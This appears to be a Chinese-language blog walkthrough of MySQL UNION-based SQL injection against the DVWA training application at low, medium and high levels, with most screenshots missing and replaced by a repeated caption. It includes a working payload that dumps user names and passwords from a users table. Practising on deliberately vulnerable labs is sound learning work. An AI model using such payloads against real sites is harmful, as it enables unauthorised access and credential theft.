mysql 联合查询注入

一. dvwa  sql注入  low  mid high

Low

1.输入1提交

mysql 联合查询注入

2.输入1’提交

mysql 联合查询注入

3.输入1 and 1=1 提交

mysql 联合查询注入

4. 输入1 and 1=2 提交

mysql 联合查询注入

源码:

mysql 联合查询注入

列数:2

mysql 联合查询注入

爆个数据库:

mysql 联合查询注入

数据库里的表:

mysql 联合查询注入

表里的表头:

mysql 联合查询注入

查user和password:

mysql 联合查询注入

二.medium级别

mysql 联合查询注入

使用抓包软件bp抓包

mysql 联合查询注入

当id=1’ 时 报错

mysql 联合查询注入

查看源码:

mysql 联合查询注入

有一条语句是这样的:

mysql 联合查询注入

这个函数可以将$id变量中的单引号’、双引号”、斜杠\等字符进行转义,因而我们再输入之前的“1’”就会报错了,从错误提示中可以发现单引号’已经被转义成了’,因而注入语句无法发挥作用。

id=1 and 1=2 union select 1,group_concat(user,0x7e,password) from users -- &Submit=Submit 

mysql 联合查询注入

 

High:

源码:

mysql 联合查询注入

 

 

 

 

 

1:

mysql 联合查询注入

mysql 联合查询注入

 

2.数值型

mysql 联合查询注入

mysql 联合查询注入

mysql 联合查询注入

3.

mysql 联合查询注入

mysql 联合查询注入

mysql 联合查询注入

4.

 

mysql 联合查询注入mysql 联合查询注入mysql 联合查询注入